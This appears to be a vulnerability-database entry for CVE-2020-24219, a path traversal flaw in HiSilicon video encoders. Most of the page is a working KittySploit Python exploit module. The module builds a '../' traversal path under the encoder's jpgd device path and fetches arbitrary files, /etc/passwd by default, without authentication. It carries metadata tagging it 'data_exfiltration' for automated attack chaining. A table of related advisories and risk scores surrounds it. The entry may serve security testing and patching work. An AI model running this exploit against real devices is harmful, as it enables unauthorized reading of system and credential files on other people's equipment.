HiSilicon Encoder - Path Traversal File Read (CVE-2020-24219)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| CVE-2020-24219 | 21 Feb 202512:27 | – | circl | |
| Arbitrary Command Injection Over HTTP Traffic (CVE-2020-19165; CVE-2020-24219; CVE-2020-28477; CVE-2021-26747; CVE-2021-27328) | 24 Feb 202100:00 | – | checkpoint_advisories | |
| CVE-2020-24219 | 6 Oct 202013:16 | – | cve | |
| CVE-2020-24219 | 6 Oct 202013:16 | – | cvelist | |
| HiSilicon Video Encoders - Unauthenticated file disclosure via path traversal | 19 Oct 202000:00 | – | exploitdb | |
| HiSilicon Encoder - Path Traversal Detection (CVE-2020-24219) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2020-24219 | 6 Oct 202014:15 | – | nvd | |
| HiSilicon Encoder Directory Traversal Vulnerability - Active Check | 24 Sep 202000:00 | – | openvas | |
| CVE-2020-24219 | 6 Oct 202014:15 | – | osv | |
| HiSilicon Video Encoder 1.97 File Disclosure / Path Traversal | 19 Oct 202000:00 | – | packetstorm |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HiSilicon encoder arbitrary file read (CVE-2020-24219)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.lfi import Lfi
class Module(Auxiliary, Http_client, Lfi):
__info__ = {
'name': 'HiSilicon Encoder - Path Traversal File Read (CVE-2020-24219)',
'description': (
'Reads arbitrary files via HiSilicon encoder path '
'/../../sys/devices/media/13070000.jpgd/<traversal>/<file>.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2020-24219'],
'platform': Platform.LINUX,
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-24219'],
'tags': ['hisilicon', 'iot', 'lfi', 'file-read', 'unauth', 'cve-2020-24219'],
'agent': {
'risk': 'intrusive',
'effects': ['data_exfiltration'],
'expected_requests': 1,
'reversible': True,
'approval_required': True,
'produces': ['risk_signals'],
'cost': 1.2,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'file_read', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2020_24219_detect'],
},
},
}
file_read = OptString('/etc/passwd', 'Absolute remote file path to read', required=True)
output_file = OptString('', 'Local file to write retrieved content', required=False)
output_limit = OptInteger(12000, 'Max chars to print when output_file empty (0=full)', required=False, advanced=True)
def execute(self, file_path: str) -> str:
remote = str(file_path or '').strip().lstrip('/')
if not remote:
return ''
path = '/../../sys/devices/media/13070000.jpgd/' + ('../' * 4) + remote
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or r.status_code != 200:
return ''
return r.text or ''
def run(self):
target = str(self.file_read or '/etc/passwd')
print_status(f'Reading {target} via HiSilicon jpgd path ...')
body = self.execute(target)
if not body:
print_error('Empty response')
return False
out = str(self.output_file or '').strip()
if out:
with open(out, 'w', encoding='utf-8', errors='replace') as fh:
fh.write(body)
print_success(f'Wrote {len(body)} bytes to {out}')
else:
limit = int(self.output_limit or 0)
print_info(body if limit <= 0 else body[:limit])
return True
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10 Aug 2026 06:19Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5
CVSS 27.8
EPSS0.23636